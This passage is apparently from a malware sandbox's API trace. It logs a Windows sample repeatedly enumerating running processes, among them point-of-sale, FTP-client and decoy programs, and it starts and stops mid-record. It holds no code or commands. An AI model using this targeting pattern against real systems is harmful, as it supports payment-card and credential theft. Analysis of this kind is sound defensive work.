lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0245.713] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0245.715] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0245.717] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0245.719] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0245.721] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0245.722] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0245.724] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0245.725] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0245.727] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0245.728] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0245.730] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0245.731] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0245.733] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0245.735] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0245.736] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0245.738] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0245.740] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0245.741] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0245.743] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0245.744] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0245.746] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0245.747] CloseHandle (hObject=0x13b0) returned 1 [0245.747] Sleep (dwMilliseconds=0x64) [0245.786] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0245.802] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.804] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0245.805] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0245.807] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.808] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0245.809] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.811] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0245.812] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0245.813] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0245.815] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.816] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.818] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0245.819] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.821] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.822] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.823] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.825] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.826] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.828] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.829] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0245.884] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0245.886] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0245.887] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.889] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0245.890] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0245.892] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0245.893] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0245.895] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.896] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0245.897] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0245.899] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0245.900] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0245.901] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0245.903] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0245.904] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0245.906] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0245.907] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0245.908] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0245.910] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0245.911] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0245.912] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0245.914] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0245.915] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0245.916] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0245.918] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0245.919] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0245.920] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0245.922] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0245.924] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0245.977] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0245.978] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0245.980] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0245.981] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0245.983] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0245.984] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0245.986] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0245.988] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0245.990] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0245.992] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0245.994] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0245.996] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0245.998] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, 